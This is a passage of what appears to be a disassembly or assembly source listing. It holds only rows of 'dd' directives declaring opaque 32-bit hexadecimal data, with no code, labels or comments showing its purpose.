		dd 82FF4A92h, 68F47604h, 82C7026Dh, 3379128Ah, 0E1E712E1h
		dd 0E78A4F6Dh, 84644BECh, 1A85D900h, 238860A7h,	677E2F97h
		dd 933D9A05h, 604A84B2h, 7E6F08ABh, 0EAE6C731h,	71C40C23h
		dd 0CBA84609h, 98879475h, 2AFABBF4h, 0D3CD3E5Dh, 34F22B00h
		dd 335E9226h, 0F3D4C7E9h, 572ADC1Fh, 0A4D06C5Ah, 9016898Ah
		dd 5B93DA36h, 0DC0472C7h, 0EA4FC3F3h, 0CCA716CBh, 0D9B65E71h
		dd 0B755F66Dh, 8F680047h, 0BE7F5270h, 0E645473Dh, 2973169Bh
		dd 9AFCCD33h, 52B9DF3Ah, 5E7F4C4Fh, 0B364A843h,	0D28C6714h
		dd 3F4686ECh, 3380008Ch, 3E0496C0h, 5B71DB47h, 51367166h
		dd 0DF800C89h, 75F42095h, 887DF41Fh, 9E105C6Ch,	0D388B332h
		dd 8AEC32CFh, 43771C1h,	0B5BC563h, 0BCF64020h, 0C5B50AFDh
		dd 0FC746B7Eh, 1C1A1BC5h, 7858BF63h, 0B9729AE7h, 5E890F0Dh
		dd 0A7651AE1h, 1060F0FBh, 2076C430h, 1331DA63h,	2DAF393Ah
		dd 0E74FC418h, 0EEFC5565h, 203388C8h, 613ABFCFh, 0CBED07B3h
		dd 8320FE74h, 7F445FF0h, 0EAE709F6h, 6D088A7Ah,	6C5609D8h
		dd 1975AE6Ch, 0C274F5Ah, 0C7631CF5h, 7D172333h,	8A7B5DD1h
		dd 1BE59427h, 0CC812683h, 5856517Dh, 1CEC27FAh,	0E013DA8Dh
		dd 0D034962Bh, 0F6335FB8h, 519FA4CAh, 0D7A0D29Fh, 66B2F330h
		dd 0EFFC4CABh, 1AB5006Ah, 9947E209h, 7617BED4h,	0EEE9F271h
		dd 14CB9AEDh, 1050D729h, 2DABF456h, 82F131E4h, 0C829DD4Ah
		dd 863E947Bh, 0C59B907Eh, 0AF4837FDh, 5E2EAAF9h, 30394622h
		dd 0C9931142h, 0FC455EACh, 703ED146h, 2B409732h, 0A0A3017Fh
		dd 0D1F6E884h, 0EF0AE287h, 27065270h, 9EE2A048h, 35B6E42Bh
		dd 868DEC47h, 190C53ACh, 4D2A15FBh, 841E65FEh, 0B3B3265h
		dd 45DA02Eh, 68463A1h, 9A12482Dh, 0B32744E1h, 1A1ECC3h
		dd 0AF53B6E6h, 0A93E3D32h, 832F488Ah, 0AB9664EAh, 0E8F30464h
		dd 0E4DF043Fh, 81C41D13h, 0EF6861A4h, 247A753Ah, 29F1C3BDh
		dd 0B04A1870h, 22F7D644h, 7EBA0E2Ah, 23AD1EFEh,	0B1C1C3DEh
		dd 6157F7C8h, 4E80499Eh, 0AB16C679h, 36CB12B6h,	67A60CE3h
		dd 0ED92BB41h, 0CC54AD87h, 171E6F75h, 385DB6D5h, 3EE954A6h
		dd 80D883CFh, 3FA6621Ch, 549ED0DCh, 4FD0B34Ch, 0F070B164h
		dd 7C60FA54h, 0F2846AA4h, 86B801F2h, 0A03FB168h, 41CBDD91h
		dd 76F4A67Bh, 0D63E4FD5h, 0CDEBEE54h, 0C8E8056Ah, 595052DEh
		dd 10D7FF6h, 0E460FE1Ch, 6E3B5F37h, 8F7D85D1h, 0DDBA3A19h
		dd 0CE7F12ECh, 5EF9E270h, 7A18E951h, 184F4AC0h,	0BAB6FE91h
		dd 8361AC41h, 3CF750DCh, 0DE0E6D8Bh, 0D490FD72h, 0F4D4C56Eh
		dd 7C723F71h, 0C6ED6A6Eh, 9E49F596h, 5C36A52Bh,	7F27A7BDh
		dd 9BB92D93h, 0FE7C4C2Ah, 6EA11F57h, 9F3D129Fh,	0E2C799B3h
		dd 3476A61Eh, 0C3069D2h, 0C71E2CD6h, 0A027A524h, 0D352C1D9h
		dd 4DE9E3D6h, 0AD736D83h, 269B0102h, 97FD6638h,	0FFD0DFBh
		dd 0EE112018h, 6E72ACA0h, 26FA097h, 1B3786Ch, 0CB34D44Dh
		dd 249B3F62h, 695A5DC8h, 0E601D465h, 0AA96F6B4h, 0D8C1CB83h
		dd 667896DAh, 8F1BC0B4h, 3F5F424Dh, 724A979Bh, 0FDEACA61h
		dd 51803F70h, 3918D254h, 1777892Ah, 0E5B469DEh,	39F859D1h
		dd 0CC90DC0Eh, 0D4C6CF1Ah, 89E7886Bh, 6AD57901h, 6906F9CBh
		dd 61A35AD3h, 26E55C0Dh, 6A1CC7C1h, 98D1BFF3h, 4941A13Dh
		dd 0FFFD99D0h, 0E0932C5Dh, 3032BA6h, 6A463A44h,	6C9806B7h
		dd 57D6C643h, 0FE316765h, 0FB13D380h, 2BC9941Dh, 0B2F6ACA1h
		dd 0A26AD94Fh, 0B9A61F16h, 34D9EDFAh, 0F9FD159Dh, 2B9F200Eh
		dd 8D9A38E6h, 9FBBE7E3h, 27D72185h, 0C8A6810Eh,	4AAB53A4h
		dd 9E61BFCBh, 5EEF0546h, 0D204AF27h, 9039050Dh,	0ACDDA772h
		dd 0ED35B0E3h, 0B028C1CFh, 36399EB8h, 0A582B4E5h, 3934D9E5h
		dd 0FD404987h, 581C66CAh, 0DAB30F74h, 5B65203h,	19838C7Dh
		dd 9E31FED8h, 0DABF49D0h, 0B17F3805h, 196B437Ah, 92DECE59h
		dd 0DF423921h, 8CC86552h, 7AC50E6Eh, 0ED2B718Dh, 0A8351928h
		dd 0A4AA42A6h, 6AC7FB69h, 73793A12h, 0E37F0CA7h, 69C91F00h
		dd 3F43214Eh, 0C7EA4799h, 0B9813C1Bh, 0FA91C7E5h, 37C081F3h
		dd 0A9700C69h, 0B677BF7Ch, 0DBBA374h, 0E125453Fh, 3C527835h
		dd 90913677h, 566A906Bh, 7C2BC473h, 5D1CE2A5h, 1DA578B4h
		dd 1F835A9Ah, 0AB4CD5Dh, 0A3E99AD2h, 0BD069762h, 34A6253Bh
		dd 93126B6Bh, 3131C52Fh, 34E4C821h, 1C15792Dh, 346648DDh
		dd 1C751C35h, 0B4118281h, 6E09E9F5h, 0C5F05756h, 4B2A43Eh
		dd 3851A9DBh, 0C15259AAh, 26F4665Ah, 212A5724h,	2D62D2FCh
		dd 0AD0D924Ch, 1623735Ah, 2B75CF67h, 0B12F6ACBh, 12400417h
		dd 0A029276Ah, 5D08F8D1h, 0B5D0A966h, 20766F7Bh, 578313BDh
		dd 0BF068B52h, 72FC4E55h, 0C4D0C426h, 0E77156F8h, 27E4FD2Eh
		dd 5BF2763Ah, 429CC7B3h, 5D7AE51h, 42A6E34Ch, 0E954A567h
		dd 7A1DB805h, 9CEFE2EDh, 23AF0A04h, 5DD23681h, 0DE8AC6A0h
		dd 58F27FBAh, 0E65446C7h, 0EF52A0A6h, 54859A63h, 0B21EBB1Ah
		dd 0E6947B90h, 700BFCF8h, 11E7B6E9h, 463E388Bh,	4F8A3A0Ch
		dd 98202A58h, 25E35A46h, 0B7C24EDFh, 92D94EBh, 369AA2CFh
		dd 0C384F771h, 6016A02Ah, 0E11CEAFFh, 7BAA4B71h, 0FBBD5522h
		dd 0B3B1FCA0h, 9C63B9DBh, 1A698B26h, 0B2FC7100h, 8AFEF299h
		dd 0DD1017B8h, 506BF3BCh
		dd 9C408790h, 71DCD7D9h, 17088CFCh, 6E2A6BA5h, 8ADAA942h
		dd 0FC41E6BDh, 2FB283D2h, 0A62B6981h, 2EBAECF3h, 1408C402h
		dd 575948D3h, 0AAB2D7BEh, 0D3ADC27Fh, 81085869h, 477B09B1h
		dd 0F57292B7h, 0CE79FEC7h, 7E1E835Bh, 8B74B8D4h, 3A031AE4h
		dd 40F36A0h, 0A5AD1414h, 4E9DD0B3h, 0C50D84C2h,	0A69A3B08h
		dd 0BE8434F1h, 0E615C92Ch, 0FF5AE7B7h, 44A8BF99h, 0C518AA15h
		dd 215686C4h, 0AA2F7376h, 25C40245h, 259668B0h,	0E935FA2h
		dd 722F4874h, 30A42FA2h, 91079BBEh, 34DE857Ch, 0A4EE9A8Ah
		dd 0AA7D523Ch, 0DC56143Fh, 0E9C9264h, 640CAADCh, 7806ACFh
		dd 0B24846FAh, 38C75B7Ah, 2352682Dh, 158CFE52h,	81E27D59h
		dd 65E2C6A1h, 41C3B92Dh, 0CC035D24h, 69EE01C3h,	35450FBBh
		dd 0BC172A0Eh, 0E8D1EEB3h, 0C4EFF5E5h, 76907D6Ch, 43D9C99Ah
		dd 0B1D3F6BEh, 0EA22AF50h, 0AF5FFC97h, 0C5596B18h, 0EDFDA16Eh
		dd 203227B4h, 0FB3DABBBh, 0AC1905BBh, 0BA955C9Eh, 5E43AE38h
		dd 0EF4FF8B8h, 0D8C2252Fh, 0DD1EE59Bh, 8B016D74h, 6E2F7B15h
		dd 0AE5FC5C7h, 54906BCEh, 97DE5667h, 0A783FB29h, 7FE4CFA3h
		dd 97C83CD1h, 77D60993h, 3A478B20h, 0BA6063BBh,	0B01302D4h
		dd 5FEBA176h, 4C0B071Eh, 1A8B9D23h, 0C7C25FC5h,	3C829073h
		dd 929D46A8h, 489FC1DDh, 6284C237h, 745811E7h, 23676501h
		dd 0EDDA1B1Ch, 98B2063Eh, 0DD99F0D4h, 0F08332E1h, 9C1A6E5h
		dd 7B1EE5A0h, 0ADC5DDE7h, 11C6730Fh, 55AA149Ah,	55B082CFh
		dd 6CB829A4h, 0CE29DB83h, 26EB7E15h, 9FB2A5CFh,	0FF19FB59h
		dd 75618478h, 990CE088h, 6E51701Bh, 4EE14A3Fh, 0B0AFE310h
		dd 8ABDFD96h, 0DD3B7FCCh, 8DA5A364h, 77137DE0h,	0EB71E00Ah
		dd 0A2CF1DE8h, 7F59500Ch, 610567ECh, 88720B21h,	8C399054h
		dd 84FA8BB9h, 6BD2B400h, 63864FA5h, 28266BCBh, 0C7063951h
		dd 83F1BF80h, 5B3B6527h, 0F4F3397Ch, 6A4D6279h,	0E837C62Ch
		dd 0AD8F7E69h, 9B668566h, 0FC4A718Ch, 0A4E1E5B5h, 3854C318h
		dd 0AC8011C4h, 0EFC0FAFh, 628958DBh, 9E845485h,	0E15CB86Bh
		dd 40EFD63h, 3F68003h, 0F5B364A2h, 691B9C60h, 34AE3DB0h
		dd 0DAEAAB7h, 310844C5h, 7469CB22h, 0CBA16ABEh,	748D2CCAh
		dd 67A21F62h, 0DB564790h, 0BAA80B4Eh, 0FD69ACAEh, 1C80788Bh
		dd 408905A1h, 0B68212E2h, 17554A41h, 0D0FA60D2h, 9B1D1DD7h
		dd 3A066F18h, 0E5E70023h, 0B6A5F3E9h, 44B5F3D3h, 0EAB10C5Fh
		dd 2937CFBh, 6BA439Dh, 2D70F6ADh, 4E9E67F3h, 3B3B6A93h
		dd 0C8C06A1Dh, 0E51926F1h, 8D3B9D8Fh, 86441153h, 8CA74827h
		dd 5773CE0Fh, 0EB5273F2h, 0C344B858h, 7BB1DAFAh, 0C46A2118h
		dd 124C515h, 5000E84Ch,	4C4BB990h, 5AEF90E9h, 0A786B406h
		dd 0A3392F6Eh, 0AB40594Bh, 9A504017h, 0AF529F67h, 0CB9E6DEh
		dd 0F2B77EE5h, 3F3350DAh, 0B2F9F733h, 0BDBFD7E1h, 468BA34Ch
		dd 2E14EBCBh, 8811A483h, 6832257Ah, 34A268FDh, 1A835BADh
		dd 0C95022B1h, 7892AD81h, 2568D2A9h, 88C549A0h,	16E62064h
		dd 0B2B1A02Ah, 4DCFF7C0h, 2AC16DBBh, 0CA0E87Bh,	8D35AC5Bh
		dd 4C6A0366h, 6B7231B5h, 455F5151h, 1959B8BDh, 0C5096F06h
		dd 730BA8Eh, 40947609h,	45203927h, 0B3DC9948h, 0CA219DBEh
		dd 0B4FBC6B2h, 73F98A00h, 3820B4ADh, 0E36B2D6Fh, 29DAC7F6h
		dd 6E903AA8h, 98FBF5FEh, 472261h, 5BAED047h, 712BABA7h
		dd 4F1AA8CFh, 7EF8CB42h, 3ECC7EBAh, 4F8FF21Eh, 0F732C1EBh
		dd 4B391436h, 0DD3CA5EBh, 5DF0B1F2h, 0A0E761D9h, 0BA58115Ah
		dd 0AA383C41h, 0EFCEAD87h, 0A642E486h, 1F1E88BCh, 0CEC763DDh
		dd 995AA956h, 445FB53Dh, 99E0F470h, 61909B4Bh, 0F2842A7Ah
		dd 0DF8BACE6h, 4023D1B0h, 8FC9619Ch, 3387462Ah,	0D895BE12h
		dd 0FD1A961Ah, 565A3538h, 90F09CFDh, 753CB4C0h,	0D4C7100Fh
		dd 4FD79508h, 12856FA8h, 3D560A81h, 6435A5CEh, 0DFE74B6Fh
		dd 5FA3043Ah, 43E8AC7h,	49B2B273h, 0A29D5181h, 56F1E096h
		dd 93833AECh, 227BB9ABh, 0AB396F03h, 9B1FCED9h,	0AD971B7Ch
		dd 0DE31F01Dh, 0B77D73D2h, 0A8EAE1Ah, 684A4D33h, 0E796FC2Eh
		dd 0B4CC8746h, 0B7090D6h, 6593BE8Bh, 4C9628E0h,	23D18337h
		dd 711B0C16h, 54669DBEh, 0AD7B4F77h, 0FDE2EFAFh, 0FEB3CE12h
		dd 0AD0B2302h, 0B2A085AEh, 0A9FB145Eh, 5F2A469Ch, 89FC815Dh
		dd 454B75C8h, 93BB55E4h, 2F119820h, 3AEC6C7Fh, 27C4FBDCh
		dd 0AE9AAE06h, 0D7BF0173h, 0EA40A7Ah, 10EBBA5Fh, 0C4A1F6E5h
		dd 2E55259Fh, 45369C6h,	0B8A05A67h, 59FFBFB3h, 0E762A25Fh
		dd 446A9B5h, 786C98DCh,	11C33D13h, 1F39DCA5h, 9208A53Eh
		dd 271814AFh, 0BAA65ADFh, 0BA83C9D6h, 43C8C98Ah, 6466F319h
		dd 0EAB191A6h, 3F4EF856h, 8EF482BFh, 5B0CFB2Eh,	777AD04Eh
		dd 0ECE70382h, 0AC0AE42Bh, 0B853B6ADh, 4E089FDCh, 0BCC073DDh
		dd 1FF340CFh, 20C0D670h, 6640060Dh, 0A5F5C9FFh,	2279B5DEh
		dd 0E52D3DB3h, 0F7036BD6h, 0B7F503CDh, 0A21E764Bh, 0E3FC4CAh
		dd 81C7AF47h, 0A923AF4Fh, 0BCAF3358h, 0E26397AFh, 1E2114E5h
		dd 0C8846EFAh, 0AF2BD898h, 7B96E5A1h, 51DD2AFDh, 2914B6ACh
		dd 0F597A96Dh, 1C1F91CBh, 4E3B241Dh, 0EB81BD1Bh, 69883307h
		dd 35BA557Dh, 0FD0B1E11h, 9E60FDD8h, 1C999384h,	27FFD99Eh
		dd 0C8EB5DE1h, 91078166h, 25056EF7h, 4CC6D664h,	88FC7D96h
		dd 17B7532Dh, 0BADC603Eh, 0FCC92EB7h, 0C7D88D20h, 1BF89ACEh
		dd 816DA49Eh, 0F673D7C7h, 98D18108h, 0DCC6C623h, 27D74FC6h
		dd 81B2DD3Ch, 0FCE7E167h, 0FE4155BAh, 0D3B4784Fh, 8BF7A73Dh
		dd 6E4251EEh, 0A0A515C3h, 0AC93B2F1h, 4F0BECFBh, 0E70905F8h
		dd 848ABAFBh, 7AFD461Bh, 75EC03F0h, 98F9734Dh, 6DAF863Dh
		dd 73C4C79Ch, 15D97F7Bh, 0DE86BE2Ah, 2CE8100Ah,	0AFECF8EBh
		dd 5609AD47h, 88F03D3Ah, 0DBF5A132h, 913155B9h,	0B3EFA3C4h
		dd 0DBE9124h, 245E1796h, 3AE85F6Ch, 0C2FAA54h, 3CA2E510h
		dd 3CE8291Ch, 0C376DA0Ch, 24C9F2A2h, 1F091AFFh,	0B58BDA34h
		dd 0C44C63FFh, 0F99D0C82h, 0A7308BCCh, 133E1A60h, 0DBDBAD6Ch
		dd 0BE67AC79h, 85BA9CF7h, 3C20081Dh, 4A6D4CA8h,	0BEEB23A5h
		dd 17DBA841h, 0B1958B4Ah, 9C751BC0h, 7584E317h,	9D590A33h
		dd 0B65D5678h, 185C4115h, 69A494CFh, 0B361605Dh, 7CDE9AE0h
		dd 7C8B3047h, 0F7600396h, 4C24B1A9h, 3ABB79A2h,	0AF2FE2FFh
		dd 0B948C714h, 0E9321A94h, 176372F1h, 80B4F58Dh, 0FBDD53B2h
		dd 0AF1305A8h, 8340B87Bh, 894504C9h, 0C6A88134h, 4B645557h
		dd 1D0D2F21h, 71BCCAF3h, 0E0645433h, 0E7DE865Bh, 81651C42h
		dd 0F01BFC50h, 9E65FBBh, 64370749h, 705E681Dh, 530F133Ah
		dd 95B74F50h, 625B332Eh, 9415B899h, 0B407AE9Ch,	4BA76DEAh
		dd 371F52BFh, 0A717B6BCh, 92560B75h, 33DD3743h,	0BA498B54h
		dd 29B3B35Ah, 218F46F7h, 4CC5B47Bh, 9E5D2EF5h, 27A1A797h
		dd 10A24F94h, 0D7C788EAh, 0A6402EFFh, 5D8BCD31h, 7BC444F7h
		dd 1DE39775h, 3786801h,	3014BB1Ch, 0CD39DF1Ch, 707625EEh
		dd 0EFF0860Ch, 3B3B14ABh, 24E292CDh, 0C702E686h, 0B89D38Bh
		dd 0B831BF72h, 0CBAC5837h, 49D44389h, 19C65690h, 0AC01A87Ch
		dd 23D77170h, 0EF8E13FBh, 98660240h, 14714A26h,	0B89E6EF0h
		dd 0B67F61E4h, 6523D7BFh, 0C7D4A666h, 0E3481771h, 97058B03h
		dd 36F3C26Ch, 358C6F1Bh, 8C04D22Dh, 206B0F0Fh, 0BB5822F2h
		dd 86338120h, 722EBA79h
		dd 0D82E7070h, 0EEF8EF2Dh, 0D491A0C4h, 0ECCE2786h, 0C7C12E5Bh
		dd 771462DFh, 0D59457B7h, 403F5FC4h, 0FC886A01h, 0E5717A31h
		dd 0BB9A8Bh, 4ED8799Bh,	0C59B3A01h, 615020FFh, 65613A46h
		dd 3D7E0D90h, 534D5E57h, 0BA48709Bh, 6B038948h,	0BBFC4F6Dh
		dd 67EEBE8Bh, 253EABBCh, 0A4C29D68h, 4A502249h,	6FEE3689h
		dd 514E4912h, 4D97DA07h, 4BEB88CCh, 3625707Fh, 58576F1Fh
		dd 69481C4h, 0F19831D8h, 72B7CAE2h, 17AC7EE7h, 3380C4D8h
		dd 0FD69654Ah, 8B2853DFh, 32BC1A4Eh, 917DED69h,	0FC759D9Dh
		dd 0AF46B0BBh, 0BF253865h, 9E019AA5h, 926381F3h, 233297F2h
		dd 0E2941700h, 0BB15CF9Bh, 5587816Dh, 4AF0DB01h, 71ACAB5Dh
		dd 8BFB8127h, 0BFA0AEC1h, 0D2BDE851h, 47A2505Dh, 893D667Bh
		dd 5B884828h, 44D58D2Eh, 16C085F7h, 3CE93544h, 21A0B529h
		dd 0CEFC75D4h, 2FE674F5h, 0C6F52C4Dh, 6F978A0Bh, 7EE8D620h
		dd 0CF7D074Fh, 6C2B9818h, 5829743Ch, 345762F3h,	2E83835Ch
		dd 0E87CB4DCh, 0B887DDCAh, 6ADB3B2Ah, 107577D1h, 459DA28Eh
		dd 0D2F695E0h, 0D8F4A1F6h, 4967CBAEh, 3C6A6871h, 0FF9CC564h
		dd 0C0D2CB76h, 352D1C6Dh, 0C6AF10D2h, 0E7F2584Fh, 68C497Eh
		dd 0E6F7EA2Bh, 5F2BA03Eh, 27DBE7BCh, 0E00598EEh, 8A9FD14Eh
		dd 8B7547A6h, 0C85038C1h, 2F1CC133h, 8CD54B1Eh,	0AC489BCDh
		dd 0CC790894h, 3DB05987h, 37D54040h, 0B0FA8E53h, 6D10E6B6h
		dd 49779158h, 3D69F56Ch, 0F272C679h, 262F3FA6h,	0AAFEB66Fh
		dd 9A7C48D8h, 6CC7EB0Bh, 0B41844Fh, 4E50B269h, 0C1FD0925h
		dd 0B9708F4Bh, 9F535439h, 5A3093A8h, 9348D54h, 80CAB432h
		dd 14206CAAh, 19F845C9h, 53BB2AFFh, 7FF8B9B5h, 0B5741C4Ch
		dd 0D9446033h, 16EF7443h, 0CDCCD990h, 0B0BD0531h, 0B879BD6h
		dd 0CAF4B651h, 0EF59E52Bh, 67E6DD3Bh, 0C2D7B9CCh, 19AE2E22h
		dd 4C9AE55Eh, 0D48E56E8h, 0F63B975Ch, 0C9D577Eh, 5FF01279h
		dd 0FA6916CCh, 75A2EED0h, 0B13C8BEEh, 0A215D776h, 746A4A79h
		dd 4E36E4D3h, 3D4102F9h, 4B77F9DAh, 874D8312h, 2F6111F9h
		dd 0F7B394CAh, 3E90ED40h, 0A667A25Fh, 6B497FC9h, 1EC8E12Fh
		dd 2E6C97C9h, 7DAC7650h, 9AD04609h, 70312781h, 67B0F721h
		dd 8D69E3BAh, 56FF6024h, 0FFEA22EFh, 40655598h,	117F918Bh
		dd 2877C0F3h, 0BAF54088h, 3EB0BB97h, 93022CC5h,	0FB124F87h
		dd 4C04DF20h, 95D7E075h, 58FFDEFBh, 0EB932EB1h,	0EE6C672Bh
		dd 404A8118h, 0ABBF525Fh, 0DED0939Bh, 0C8809D27h, 51854EB2h
		dd 72DC5BD6h, 33E5140h,	0BAD575CBh, 9E674D68h, 0C7FA1279h
		dd 90A23E34h, 0E42F3918h, 536C2B87h, 4A3C0C90h,	2CE964B0h
		dd 9A83963Bh, 0F9EA4423h, 1D076D9Dh, 0C3A407Dh,	37FE7709h
		dd 0D5BE05F9h, 8905D4BDh, 0CA82A7D6h, 0EA82EF05h, 0B41D547Ch
		dd 0F9E787Dh, 43EDF76Eh, 0DEB56E73h, 0DF4D98C6h, 3BBD14B9h
		dd 0FD2ECCBFh, 0F7262E3Ch, 4F176E44h, 5453547Ch, 0B0E2C298h
		dd 44F3282h, 844CB0D0h,	0C4FF1F0Fh, 0B6DC2021h,	0EB46C37Ch
		dd 0C34DDDD3h, 0B900D6BDh, 0A88BB29Fh, 15A3F110h, 975B0D5Ah
		dd 1880F4CBh, 0E241FA4Eh, 25E1AB3Ah, 0BBAE1283h, 0DC85A48Ah
		dd 7F3FDEEh, 8212B9D4h,	900A86C4h, 1C9A6C87h, 81D40FBDh
		dd 55093A55h, 98D6D76Dh, 24A4A3EDh, 1FB77618h, 0E14C061Bh
		dd 9B58D114h, 0A8179C12h, 0DA0B4D7Eh, 304A79CDh, 0EFF4B579h
		dd 59006A7Bh, 73EDE414h, 98DD6293h, 0EB41D710h,	88F5642Eh
		dd 0D9A28DF1h, 5F7F1653h, 0FFFBAAF7h, 0E986725Eh, 785BD115h
		dd 5150804Eh, 8C450096h, 0ABC4C05h, 1FB42D44h, 0B4BFEDFFh
		dd 5DF4D726h, 895A0AE0h, 0FF97D79Ch, 51530922h,	26D0D915h
		dd 83820D9Ah, 0E7432A5Ah, 36F4E3DAh, 84735AEBh,	0F2B79F85h
		dd 569B88FCh, 0C7ECE09h, 0D5BDE96h, 0CD6341FFh,	6E608B18h
		dd 9C699BE4h, 3B3E793Bh, 64312F2Bh, 248AA401h, 81994E44h
		dd 0E4C405B0h, 1762D651h, 0FD9FDC02h, 0FFA66F40h, 0ABBAB8D1h
		dd 0A65706CDh, 82F6B41Fh, 4273AD76h, 6F8E8AA8h,	663EE20Dh
		dd 0E8674DD3h, 6B0902E1h, 457FBC63h, 14AF14DBh,	60FA0F01h
		dd 89E80681h, 7B1FEDEEh, 336C856Ch, 0B84E6D87h,	0D6FAB84Ah
		dd 0ADD421B2h, 1FDA683Ch, 9A28B30Ah, 188D4B97h,	82609905h
		dd 0DB6F7D36h, 783294AAh, 611C9AC1h, 535E97E5h,	0E7BA0440h
		dd 0DB38C892h, 20FC7403h, 4A163BDCh, 0F7E398E7h, 0A85A08B9h
		dd 4ECA7247h, 86752402h, 39245458h, 0FE96F146h,	0A38D167Fh
		dd 0BE1EAD6Bh, 7F013010h, 2F814BD1h, 0FEE69629h, 5A4ACD8Bh
		dd 0F1C41751h, 0F325E5DAh, 23986AC6h, 16FF5BB0h, 9168E19Ch
		dd 0BF00BCD0h, 32C962D4h, 3D1E13EEh, 0C87DFC66h, 0E1F0FBE5h
		dd 0DB77D837h, 323B7A3Ah, 0A64A9081h, 85577044h, 9524F9Bh
		dd 0B1F77E00h, 48DA4504h, 1BEC4B48h, 4E4C85A7h,	379BFAB2h
		dd 249725C2h, 0E654876Bh, 0F21DB27Ch, 4C8A638Eh, 0A6C5AC4h
		dd 7D926B6Ch, 9DAFDFF8h, 35A31AFAh, 0C95C7036h,	813430F4h
		dd 0A45216E7h, 40AE6F52h, 3714DB48h, 14A9F2D5h,	42A03BA1h
		dd 5795C696h, 0C253790Fh, 85CD06E1h, 0C10AE58Bh, 0D202AED3h
		dd 0D4B7C808h, 0D3182D4h, 5D88FC15h, 0A59FE21Eh, 0B8212D98h
		dd 22A1A7A8h, 205F0454h, 9F68B8Fh, 73BB3CD3h, 1E2C8B1Dh
		dd 391C5E5Dh, 370ADEF1h, 0B158197Ah, 0F077DB58h, 0DE48A258h
		dd 2CF5CD17h, 0B91F67F9h, 0B988B762h, 7DE1DB3Ah, 4C03CEDFh
		dd 6C0324DCh, 8C78ACE8h, 743D63ABh, 15EF0216h, 0F4D8DA2h
		dd 0CFAEA517h, 0E31B7AD8h, 7C287D5Ch, 27D82EEAh, 0BA2AB9F0h
		dd 40AC3D5Dh, 3C910CE1h, 791795AFh, 4BBB1074h, 0FBCEE996h
		dd 47C901D7h, 8EAB57A9h, 6DD33989h, 338163B4h, 0E3257A31h
		dd 0EC5DD5Ah, 77D06EB2h, 0F737F4DFh, 67C8A6F1h,	0DF7BF320h
		dd 23B146A7h, 0B38B0481h, 53A7FFA8h, 1C070C3Eh,	729D396Bh
		dd 61FD2755h, 0C4AE4798h, 2F6663F0h, 0B6BE00CDh, 4409B872h
		dd 0DD12E197h, 6A573276h, 6EAD7073h, 0A43474F9h, 0B2DA5908h
		dd 0FC8CDD82h, 0EBEAD11Fh, 58499A92h, 65D2B449h, 7EF2683Ah
		dd 0A5C455DEh, 631F7F86h, 78DBCCD9h, 0E2B4B152h, 42A627D3h
		dd 3560C81Fh, 0CF52055Dh, 0AD099D29h, 44453CBBh, 0E10F337Dh
		dd 0B40DD8DAh, 3EEBCA71h, 0C2A18433h, 25137A73h, 0FCCBF1EAh
		dd 0DF0090B2h, 3F733094h, 0F67A8A27h, 542454FBh, 8411D52h
		dd 0D49E55A8h, 3942DC1Ch, 6DAA8C84h, 0C0B25B4Ah, 0E3FA91A9h
		dd 47174BEFh, 0FB38F09Fh, 2DED895Fh, 67A3BD85h,	3D52EC11h
		dd 58D3AAD3h, 62D94063h, 168C5B80h, 0C37344A0h,	98E3C5EDh
		dd 0CEB92966h, 31B103h,	20B89390h, 8C593EF7h, 0FE1B6FEh
		dd 0D43E4C4Bh, 71FCF2B2h, 444DBFAh, 93B35B42h, 735B6BF5h
		dd 5A27B31Ah, 55B18ECFh, 552005DBh, 6ECDE02h, 129DC53h
		dd 120D7D47h, 9E1979F3h, 127C54A0h, 4A7195A0h, 28B7051Ch
		dd 0D715F851h, 6D85086Eh, 5D2DF3DBh, 93067947h,	74625D6Fh
		dd 3130CF95h, 1B596009h, 0CB2D3459h, 0A45780B4h, 5CAF9490h
		dd 0C8E0F304h, 2E9ADA01h, 42AFD469h, 0A3C2C34Eh, 22E36E82h
		dd 0A9BBD0DEh, 8E99EFCh, 4B19E87Fh, 0FA0B343h, 0E88CD4F6h
		dd 7238239h, 0BDE049AAh, 46A676D3h, 8C0FD778h, 6E6C9209h
		dd 76AE0DF9h, 0EEA102A7h, 5E752441h, 0B78697F1h, 1E8FB22Ch
		dd 0DA5599DEh, 0B43A091Dh, 0B63DF966h, 4C7A95E9h, 0FACD2779h
		dd 0DB663D33h, 0B09A5837h
		dd 2B7A5576h, 458830E7h, 0C45828F2h, 8FEE3267h,	3036EAEEh
		dd 3544C533h, 0B9027620h, 0DB53B21Eh, 84ED9C3h,	0F61F7B49h
		dd 0E37F24E4h, 6B43C33Ah, 30576EBh, 54A0EB38h, 7B1EB33Eh
		dd 0AD443A93h, 0D7EF05CCh, 37D6C34Ch, 2AF363F1h, 606C6505h
		dd 0A0CD489Eh, 0BFF68752h, 0AB77D27Ah, 0A0FFFC88h, 523E6A51h
		dd 0B9743F74h, 0C73A3A2Dh, 0A3B68FA0h, 521114CFh, 2E17F7F5h
		dd 0AC87611Ch, 1130A55Fh, 4C56BDE0h, 685096B1h,	7E91867h
		dd 0E3DE5A3h, 0CBF1146Eh, 24968C3Ah, 0FA6CD054h, 0A62A13Eh
		dd 0DC08B24Ch, 0F2266D69h, 12ED3070h, 0AD0D9218h, 244830CDh
		dd 628327D2h, 6286E005h, 0F48EC33Fh, 0A8822775h, 729D5952h
		dd 0D8704AF9h, 52C5958Dh, 0B16AA222h, 0A8A39CF3h, 6C4B4169h
		dd 0F096DCFh, 4BF63F87h, 0CDA9DA3h, 1CCCAAF1h, 734B404h
		dd 22D013B9h, 0C17C2E7Ah, 2B730812h, 0DD7E4B93h, 4FC043E1h
		dd 0B32AE279h, 0A0512353h, 5AFA6306h, 9D79CEA5h, 0B6B6862h
		dd 0CADF440Dh, 7B15EABFh, 94AF0ECDh, 17E77B7h, 9DC2D630h
		dd 6BCBFAADh, 4834F0h, 996B471Fh, 0A7FF174Bh, 0D805947Eh
		dd 398CBD2h, 9E2E6039h,	991F72AEh, 0DC2139ACh, 1B8CB04Fh
		dd 2500209Fh, 17C76F8Dh, 0B9E101F5h, 0B3E876F2h, 976E41EBh
		dd 94D03F39h, 7F61F49Ah, 0D540DB15h, 17844AC8h,	0A37C549Dh
		dd 0DD817411h, 6451C412h, 6718F66Ch, 7FC49914h,	0A4FE046Ch
		dd 0D7A6C32Dh, 7F992B45h, 0D3242D6h, 0BA0CD10Eh, 8757F069h
		dd 208D2E4Ch, 7689D7ECh, 8A1426A9h, 4FF5F535h, 56D1436h
		dd 0F9184E2Dh, 0A87057ACh, 0F502AA71h, 92A823C0h, 0D0E94A06h
		dd 758B61DEh, 0E468E4B7h, 1D75F11Ah, 0F477602Ch, 17E1E204h
